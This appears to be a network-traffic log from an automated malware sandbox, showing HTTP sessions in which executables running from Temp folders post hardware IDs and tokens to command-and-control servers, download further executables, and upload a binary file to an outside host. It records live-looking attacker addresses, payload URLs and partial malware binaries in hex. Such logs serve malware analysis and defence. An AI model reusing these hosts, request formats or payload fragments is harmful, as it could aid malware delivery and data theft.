34	192.168.2.4	50068	185.215.113.206	80	4408	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:41.106991053 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHDAEHDAKECGCAKFCFIJ--
Dec 18, 2024 17:09:42.922306061 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50071	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:41.652287006 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016973001&unit=246122658369
Dec 18, 2024 17:09:42.994445086 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50076	185.215.113.16	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:43.185512066 CET	55	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 17:09:44.532489061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:43 GMT Content-Type: application/octet-stream Content-Length: 3005440 Last-Modified: Wed, 18 Dec 2024 15:29:29 GMT Connection: keep-alive ETag: "6762ea59-2ddc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 98 01 00 00 00 00 00 00 90 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@f1@15.@WkDq1<q1 @.rsrcD@.idata @ytgzqaky**@bbrswhkz1-@.taggant01"-@
Dec 18, 2024 17:09:44.532669067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:44.532676935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:44.533360004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:44.533368111 CET	896	IN	Data Raw: 12 1b 2a 08 3c a2 91 eb 10 73 35 6a bd d3 15 d6 ed 90 94 26 3c 5c 01 4f ac 95 95 ce 2b 04 65 57 b4 a3 b7 ab 6f 77 b7 86 3d f7 99 e9 ae 5b 85 98 bc 9c 01 ce af b3 b7 2a 1e 7f aa e8 bf df 95 6b e1 49 e4 0a 1b da 8a ce 5f df b6 4b 74 43 b6 ee 19 7f Data Ascii: <s5j&<\O+eWow=[kI_KtC+:35&)?\|Gi+o&\b\|74keeq<cA3?##A`4oN/8efL4NFrawrE*}%
Dec 18, 2024 17:09:44.533374071 CET	1236	IN	Data Raw: dc 7d f6 dc 85 b3 74 d6 53 5b 6a 4a ea a3 e1 ab 67 f3 d7 4d 88 33 99 0e af 1d 85 a0 09 9c 99 d6 bf df 97 02 13 1d aa 37 a8 1c 16 8e 80 1f e9 e8 ee 62 c5 c1 aa de 19 b6 8c d3 64 e6 0c 70 fd 06 53 e3 56 7a 6a 13 09 48 0c 37 86 e8 2e 33 91 66 0a 1c Data Ascii: }tS[jJgM37bdpSVzjH7.3fhbSg;Z~Mr%Jiv#=F1Ms]}A0F=,cBF+7#Ys}o]bA^zjSYDFoE+.jN\|\|Sbb
Dec 18, 2024 17:09:44.534245014 CET	1236	IN	Data Raw: 40 b7 dd fc 98 76 f2 bf 0a ff a6 7e 30 c7 e1 90 36 9f 91 66 fd 9e 9d d3 07 35 a0 76 12 4f 71 35 1b 9f e5 8e 6c c5 73 dc c5 03 3d 3d 44 04 8a 8c b5 d3 d5 18 fa 14 3d 3f 09 a5 8d 92 80 66 f1 c4 78 67 50 cb c7 43 4b db 04 75 a5 c6 8e 2a 22 c2 69 5f Data Ascii: @v~06f5vOq5ls==D=?fxgPCKu"i_<e2TFRm.1Ale`rs~>er<u^wXL4Jj=_rwu}1C`r.tc<Uz}`}hmdsCY ~}IByk
Dec 18, 2024 17:09:44.534252882 CET	1236	IN	Data Raw: b4 1c 89 c8 db 22 86 98 44 12 89 f1 e7 94 ff 72 7c 85 34 7f 01 42 d9 e9 bd ad bd 2d f3 76 f6 08 f2 5f 76 3e bf f5 2d d8 fa 13 65 5c ac da fb 6d 85 63 1f 0b f4 8b f1 4d b7 5c a4 92 45 22 d6 cb 45 63 8c a3 4f 0e d0 c8 e8 a5 ea e1 f6 d5 b1 8c be e9 Data Ascii: "Dr\|4B-v_v>-e\mcM\E"EcO[bXp9xeE3$\B/Y}0BpC@"t<*S#Zx#Mm=`64TF9efUSkh6ZF=6\E8+)hH}+Rg^^r
Dec 18, 2024 17:09:44.534262896 CET	1236	IN	Data Raw: cf d6 21 44 6c ec 5d 2e 06 e0 91 65 3c fb 66 e9 d3 e2 6f dd 10 5f a0 68 e2 58 fd 43 8e 87 7c 4d 43 5b a4 3a ba 1c 96 19 2b b5 3e ee 3e 85 a4 40 3f 65 71 8b 92 8f 31 62 e5 e5 fc 1b a8 98 75 d8 c4 72 eb e0 3f e4 43 c6 b8 84 51 cd 7a 71 3a 86 98 9b Data Ascii: !Dl].e<fo_hXC\|MC[:+>>@?eq1bur?CQzq:"_<\|-\Pr4C~Sc~7j`PC>iv@=DX}Ix`a"]n^I-&VR7^%=W3_O%
Dec 18, 2024 17:09:44.535111904 CET	1236	IN	Data Raw: 5f 67 25 57 8f 5e 14 c3 b2 a5 4e 60 9f 19 b4 75 04 11 53 46 61 83 b5 a3 1e e3 78 e7 fe d6 5a 20 f5 de 1e d7 4c 31 4f 22 dc 21 b3 f0 b5 c1 77 51 d9 5a 49 d8 aa 5a cc c9 6d 23 79 b3 3c 35 a9 f1 4b 5a 67 9d 11 d7 a6 96 d9 7c 7e 19 cf cb e7 99 32 14 Data Ascii: _g%W^N`uSFaxZ L1O"!wQZIZm#y<5KZg\|~2:zu2WHpyXp08ClE@jgA/NYs<w[PYB Uf3ZcG,Q8KP!?+SK^R@4fcV<y
Dec 18, 2024 17:09:44.652128935 CET	1236	IN	Data Raw: 3a b5 f3 bd e1 6f e2 b8 7f 01 c2 98 c1 5c c9 ea 30 77 43 d3 ae 98 56 db 49 5c 3f 66 db 5f 7c fa f8 a7 31 8b 23 63 f4 e5 ac 9d 4d 6a d2 a8 49 8e 14 5c c9 bf 37 44 44 56 a3 17 fd eb d8 17 ae c2 28 a5 7c 35 6c 5b 8b 8e 0c 29 3e 3d 7e 5b 7c 0e 2d d2 Data Ascii: :o\0wCVI\?f_\|1#cMjI\7DDV(\|5l[)>=~[\|-3gE\|]4=0TIt%"\]$IwESl.JCq>v>`IkA:umW/rehPu>yUoV7r2CakK0~;74-KgZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50085	185.215.113.206	80	704	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:45.869414091 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 17:09:47.217683077 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:47.232938051 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 37 34 43 37 33 39 36 35 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="hwid"2974C73965222838420810------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build"stok------EGCGHCBKFCFBFHIDHDBF--
Dec 18, 2024 17:09:47.680594921 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50087	185.185.71.170	80	7960	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:46.353317976 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 27554 Content-Type: multipart/form-data; boundary=------------------------IKinM0Sn4Hw0S4hY1hJVCZ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 49 4b 69 6e 4d 30 53 6e 34 48 77 30 53 34 68 59 31 68 4a 56 43 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 6f 72 69 79 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0c d8 f3 b9 58 d3 be 69 c0 d9 a2 50 b7 8f 1e ab 8f 76 1b b6 10 2c 0c 1a df d9 25 05 de b7 a5 ef 08 04 48 de 1a 17 f3 da d5 e9 cd a4 85 0c 46 03 c7 be b5 b2 76 00 8f 7f b9 8a a9 6e c4 bb 23 33 85 1d 14 9e b7 aa ac d9 31 ba 95 76 f2 c0 ca 7a 8c 68 4d 7d 63 27 19 aa 77 16 99 07 db 5f fb e0 d1 53 9b 34 97 c9 76 37 40 cb 48 7b ff 9c 84 81 d9 45 b1 93 8a 24 e4 05 a7 30 38 ed 38 c2 db 66 79 61 39 cc 0d 99 c6 49 25 1c f8 5a 70 4f 26 64 2d 7d 5f 80 5d 68 ab 96 5b e9 c7 2c c1 3a 68 28 97 b0 81 f1 9a 05 5b 45 21 76 fb b3 42 a5 e0 c6 55 a2 [TRUNCATED] Data Ascii: --------------------------IKinM0Sn4Hw0S4hY1hJVCZContent-Disposition: form-data; name="file"; filename="Poriyo.bin"Content-Type: application/octet-streamXiPv,%HFvn#31vzhM}c'w_S4v7@H{E$088fya9I%ZpO&d-}_]h[,:h([E!vBU+01S)#kFC(.f{IIcnh\|8x&9oGa9)2s ]8+]I+h2X\s T\|u/#Jg<O37uvWbc_#.JU0y8U.(#_MGVL&1p2g+FOX!OiaZ)!@srN$+h<wz]`lv,/f:H(;@pZ,F6h>z4oE,ugilXzPvehEn1bUnbD_})tvZ{NsO</"-&Y()k7Nii8;+/xF(=9a}.&u2D}pj;!9 df(HEtMic}{E?n (0J,[]AV?EJke_aMfD%SqUz_mR[NNBp,&wa\.O*)$4 [TRUNCATED]
Dec 18, 2024 17:09:46.480657101 CET	2472	OUT	Data Raw: 55 04 84 89 a8 07 83 a0 68 35 2e af a7 1d af 1f d2 da 14 e6 92 f4 9f 1d bb 47 c4 14 90 f9 6d fe 2e 75 4c 47 15 2c 5e ae d3 63 f2 ae eb 94 05 26 39 a3 3b 5c b1 4b 13 f3 81 af f5 d2 95 92 08 10 10 90 65 d7 dc 3b 7d 37 72 54 75 64 9d fc 2a ee 0f f2 Data Ascii: Uh5.Gm.uLG,^c&9;\Ke;}7rTud*E/h+ZKU.k/F-clPL4MBrY]M]r$uC#c3;{v`,>&y{K`V%=yd~0V^%-b$[bQSc
Dec 18, 2024 17:09:46.481091022 CET	12906	OUT	Data Raw: 6d f3 d5 7e 0b 83 48 09 b8 35 f7 b3 4a 55 89 2b e1 75 78 87 c3 db 77 c6 aa 2e 12 ed 41 39 61 e9 f4 67 86 e2 15 20 1c e0 1d 42 21 db 48 8f 78 b1 f4 0e b5 16 48 3a 15 10 53 d6 d5 d4 fc eb ba 93 f2 70 d2 fc 00 a0 79 7b 2c 64 d9 f0 e8 d0 30 65 16 f1 Data Ascii: m~H5JU+uxw.A9ag B!HxH:Spy{,d0e9@UvH+DGkGGM]4kV7xLuC&Wb4y2HU-v$Lu3II,QIpVqjN)+9')jvh~/B'Q1~qe%
Dec 18, 2024 17:09:47.906374931 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 16:09:47 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1734539946 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50103	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:52.308494091 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016974001&unit=246122658369
Dec 18, 2024 17:09:53.632695913 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50105	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:53.059524059 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 17:09:54.373740911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 18, 2024 17:09:54.424891949 CET	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Dec 18, 2024 17:09:54.880474091 CET	584	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 38 39 0d 0a 20 3c 63 3e 31 30 30 37 32 33 35 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 62 65 62 65 65 64 32 32 66 31 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 37 32 33 36 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 64 66 34 34 63 35 65 66 35 38 33 35 66 37 64 65 62 39 64 31 36 65 37 30 62 38 62 37 32 39 33 61 38 62 39 61 37 33 36 66 32 66 34 65 62 61 36 34 66 33 38 61 31 66 36 36 37 37 64 37 36 64 30 37 33 64 64 35 66 63 34 62 63 23 31 30 30 37 32 33 37 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 61 30 61 33 65 36 32 36 62 33 65 66 66 62 62 64 34 65 36 34 65 33 61 61 36 33 36 62 37 37 23 31 30 30 37 32 33 38 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 64 66 34 34 63 35 65 66 35 38 33 35 66 37 64 65 62 [TRUNCATED] Data Ascii: 189 <c>1007235001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#1007236001+++aa0ed36554e19fbdf44c5ef5835f7deb9d16e70b8b7293a8b9a736f2f4eba64f38a1f6677d76d073dd5fc4bc#1007237001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0a0a3e626b3effbbd4e64e3aa636b77#1007238001+++aa0ed36554e19fbdf44c5ef5835f7deb9d16e70b8b7293a8b9a736f2f4eba64f3aa1f6677d76d073dd5fc4bc#<d>0
Dec 18, 2024 17:09:55.594856977 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007235001&unit=246122658369
Dec 18, 2024 17:09:56.042954922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 17:09:57.142000914 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007236001&unit=246122658369
Dec 18, 2024 17:09:57.721479893 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 17:09:57.734603882 CET	55	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 17:09:58.176760912 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:57 GMT Content-Type: application/octet-stream Content-Length: 3034624 Last-Modified: Wed, 18 Dec 2024 15:29:19 GMT Connection: keep-alive ETag: "6762ea4f-2e4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@02'.@Wk1T1 @.rsrc@.idata @exbexgpl@+2+@obzesrhz1(.@.taggant02",.@
Dec 18, 2024 17:09:58.176929951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:58.176949978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:58.177453995 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:58.177473068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
